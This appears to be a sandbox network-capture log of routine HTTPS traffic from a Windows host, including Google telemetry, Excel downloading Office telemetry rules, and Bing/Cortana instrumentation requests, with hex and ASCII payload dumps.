2024-10-23 22:27:57 UTC	910	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 32 39 37 32 32 34 37 33 39 31 38 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1729722473918",null,null,null,
2024-10-23 22:27:57 UTC	945	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=FfhXmYhNqxAR58-pvpAH9xVw8W8lpV8FwnByPgPv8OL0SFo_mQAW8SmgMPVfuEnx3jLPdq2ocrTS3t57KoSSw3bcNl0sUiLHHqSOTy02HaGhN2zqIsT6RHe0flYTPyLgaTJ0HXW3K0yMyAqxWG-pk_-ZlQoHW8uOujdlIb3NetpniJa8H5fs2ACmSNw; expires=Thu, 24-Apr-2025 22:27:57 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Wed, 23 Oct 2024 22:27:57 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Wed, 23 Oct 2024 22:27:57 GMT Connection: close Transfer-Encoding: chunked
2024-10-23 22:27:57 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-23 22:27:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.16	49796	13.107.246.60	443	5708	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:28:07 UTC	219	OUT	GET /rules/excel.exe-Production-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 22:28:07 UTC	562	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 22:28:07 GMT Content-Type: text/plain Content-Length: 1112556 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Wed, 23 Oct 2024 06:30:03 GMT ETag: "0x8DCF32C20A45DE6" x-ms-request-id: 9b50c0f4-201e-0096-468b-25ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T222807Z-r197bdfb6b4r9fwfbdwymmgex800000000mg000000004rd9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-23 22:28:07 UTC	15822	IN	Data Raw: 31 30 30 30 34 32 76 32 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 34 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 55 58 2e 44 65 73 6b 74 6f 70 2e 4f 66 66 69 63 65 54 68 65 6d 65 2e 41 70 70 2e 49 6e 69 74 22 20 41 54 54 3d 22 63 34 33 38 38 63 39 37 37 32 39 37 34 31 33 62 62 30 35 34 62 61 64 31 61 63 66 30 61 64 65 31 2d 63 63 35 38 65 35 33 65 2d 66 35 61 34 2d 34 66 33 37 2d 62 30 64 32 2d 39 61 38 30 37 39 65 33 34 34 32 30 2d 36 38 37 39 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 63 6d 39 79 35 Data Ascii: 100042v2+<?xml version="1.0" encoding="utf-8"?><R Id="100042" V="2" DC="SM" EN="Office.UX.Desktop.OfficeTheme.App.Init" ATT="c4388c977297413bb054bad1acf0ade1-cc58e53e-f5a4-4f37-b0d2-9a8079e34420-6879" DCa="PSU" xmlns=""> <S> <UTS T="1" Id="cm9y5
2024-10-23 22:28:07 UTC	16384	IN	Data Raw: 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 41 75 74 68 6f 72 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 30 31 31 37 76 30 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 31 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 38 79 6c 6c 66 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: false"> <S T="1" F="AuthorCount" /> </C> <T> <S T="1" /> </T></R><$!#>100117v0+<?xml version="1.0" encoding="utf-8"?><R Id="100117" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <UTS T="1" Id="8yllf" /> </S> <C T
2024-10-23 22:28:07 UTC	16384	IN	Data Raw: 6e 46 69 76 65 50 6c 75 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 53 55 4d 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 41 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 33 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 37 38 31 76 31 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 37 38 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 Data Ascii: nFivePlusCount"> <A T="SUM"> <S T="1" F="11" /> </A> </C> <T> <S T="2" /> <S T="3" /> </T></R><$!#>10781v1+<?xml version="1.0" encoding="utf-8"?><R Id="10781" V="1" DC="SM" T="Subrule" xmlns=""> <S> <UTS T
2024-10-23 22:28:07 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 31 30 30 30 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: </R> </O> </F> <F T="6"> <O T="AND"> <L> <O T="GT"> <L> <S T="1" F="0" /> </L> <R> <V V="1000" T="U32" /> </R>
2024-10-23 22:28:07 UTC	16384	IN	Data Raw: 74 56 69 64 65 6f 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 46 6c 79 6f 75 74 56 69 64 65 6f 43 61 6c 6c 56 69 64 65 6f 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 32 36 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 33 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 46 6c 79 6f 75 74 53 61 53 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: tVideo"> <C> <S T="25" /> </C> </C> <C T="U32" I="22" O="false" N="FlyoutVideoCallVideo"> <C> <S T="26" /> </C> </C> <C T="U32" I="23" O="false" N="FlyoutSaS"> <C> <S T="27" /> </C> </C>
2024-10-23 22:28:07 UTC	16384	IN	Data Raw: 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 39 30 37 76 30 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 39 30 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 4e 44 42 2e 55 6e 6b 6e 6f 77 6e 2e 43 6f 72 72 75 70 74 69 6f 6e 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 53 3d 22 31 30 30 22 20 Data Ascii: > <S T="1" /> </T></R><$!#>10907v0+<?xml version="1.0" encoding="utf-8"?><R Id="10907" V="0" DC="SM" EN="Office.Outlook.Desktop.NDB.Unknown.Corruption" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" S="100"
2024-10-23 22:28:07 UTC	16384	IN	Data Raw: 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 54 49 20 54 3d 22 31 22 20 49 3d 22 44 61 69 6c 79 22 20 2f 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 32 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 33 22 20 49 64 3d 22 62 70 66 79 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 34 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 50 68 6f 74 6f 53 69 7a 65 49 6e 42 79 74 65 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d Data Ascii: a="PSU" xmlns=""> <S> <TI T="1" I="Daily" /> <A T="2" E="TelemetryShutdown" /> <UTS T="3" Id="bpfy1" /> <F T="4"> <O T="GT"> <L> <S T="3" F="PhotoSizeInBytes" /> </L> <R> <V V=
2024-10-23 22:28:07 UTC	16384	IN	Data Raw: 20 20 20 3c 55 54 53 20 54 3d 22 35 22 20 49 64 3d 22 62 75 6b 30 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 65 76 65 6e 74 49 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 31 33 35 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 Data Ascii: <UTS T="5" Id="buk0m" /> <F T="6"> <O T="EQ"> <L> <S T="4" F="eventId" /> </L> <R> <V V="135" T="I32" /> </R> </O> </F> <F T="7"> <O T="EQ"> <L>
2024-10-23 22:28:07 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 31 30 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 46 69 6c 65 50 72 6f 74 65 63 74 69 6f 6e 53 74 61 74 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 35 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f Data Ascii: R> <V V="4" T="U32" /> </R> </O> </F> <F T="10"> <O T="EQ"> <L> <S T="3" F="FileProtectionState" /> </L> <R> <V V="5" T="U32" /> </R> </O> </
2024-10-23 22:28:07 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 72 65 73 75 6c 74 73 5f 49 73 4e 75 6c 6c 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d Data Ascii: <L> <O T="EQ"> <L> <S T="5" F="results_IsNull" /> </L> <R> <V V="false" T="B" /> </R> </O> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.16	49797	13.107.246.60	443	5708	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:28:12 UTC	207	OUT	GET /rules/rule120603v8s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 22:28:12 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 22:28:12 GMT Content-Type: text/xml Content-Length: 2128 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA41F3C62" x-ms-request-id: 44eec21c-601e-000d-37f3-242618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T222812Z-15b8d89586fhl2qtatrz3vfkf0000000041g0000000036me x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 22:28:12 UTC	2128	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 33 22 20 56 3d 22 38 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 64 64 69 74 69 6f 6e 61 6c 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 45 3d 22 66 61 6c 73 65 22 20 44 4c 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120603" V="8" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAdditional" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" E="false" DL=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.16	49798	204.79.197.200	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:28:31 UTC	2232	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Content-type: text/xml X-Agent-DeviceId: 01000A4109009A83 X-BM-CBT: 1729722416 X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x640 X-BM-DeviceDimensionsLogical: 784x640 X-BM-DeviceScale: 100 X-BM-DTZ: -240 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124117A5,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E,FX:12CDE644,FX:12D1574C,FX:12D281C4,FX:12E8312D,FX:12E85C75 X-Device-ClientSession: 480A85385EAC4290B1864849734F806F X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A4109009A83 X-MSEdge-ExternalExp: d-thshld42,dsbdailyset_c,expmegaclick_cf,hashexpt3,iffsqloptwin10c,msbdsbedu9cf,wsbqfnewsynonym,wsbref-t,wsbswgc-t2 X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=300; DaylightBias=-60; TimeZoneKeyName=Eastern Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Content-Length: 7689 Connection: Keep-Alive Cache-Control: no-cache Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1729722471397&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=f66a65f7&IPMID=1707317782133; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
2024-10-23 22:28:31 UTC	7689	OUT	Data Raw: 3c 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 35 30 34 37 45 35 39 34 32 42 42 32 34 36 30 45 41 33 35 42 35 33 43 43 46 37 38 44 44 42 33 44 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 35 38 31 34 34 33 33 34 62 61 66 31 34 37 62 63 62 37 64 38 30 62 66 31 33 61 33 37 37 31 62 62 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 54 22 3a 22 43 49 2e 42 6f 78 4d 6f 64 65 6c 22 2c 22 46 49 44 22 3a 22 43 Data Ascii: <ClientInstRequest><CID>5047E5942BB2460EA35B53CCF78DDB3D</CID><Events><E><T>Event.ClientInst</T><IG>58144334baf147bcb7d80bf13a3771bb</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","T":"CI.BoxModel","FID":"C
2024-10-23 22:28:31 UTC	426	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 4755449BA65E4D139F2CE364C0C919F7 Ref B: DFW30EDGE0421 Ref C: 2024-10-23T22:28:31Z Date: Wed, 23 Oct 2024 22:28:31 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.16	49799	152.199.19.161	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:28:34 UTC	491	OUT	GET /apc/trans.gif?2511a03dcd752a0673ef10a3cae15a87 HTTP/1.1 Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5 Accept-Language: en-CH Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: fp-vs-nocache.azureedge.net Connection: Keep-Alive
2024-10-23 22:28:34 UTC	705	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Accept-Ranges,Cache-Control,Content-Length,Content-Range,Content-Type,Date,ETag,Last-Modified,Server,x-ms-request-id,x-ms-version Cache-Control: no-cache Content-Type: image/gif Date: Wed, 23 Oct 2024 22:28:34 GMT Etag: "0x8DC6E063BD1AC28" Expires: Wed, 23 Oct 2024 22:28:33 GMT Last-Modified: Mon, 06 May 2024 19:53:43 GMT Server: ECAcc (lhc/793D) x-azure-ref: 20241023T222834Z-185976f754b8gfbwgrbsg9s9y800000006k000000000ch9n X-Cache: TCP_HIT x-fd-int-roxy-purgeid: 0 x-ms-request-id: 24dca1d4-401e-003d-2e3a-2269b1000000 x-ms-version: 2018-03-28 Content-Length: 43 Connection: close
2024-10-23 22:28:34 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.16	49800	152.199.19.161	443

Timestamp	Bytes transferred	Direction	Data
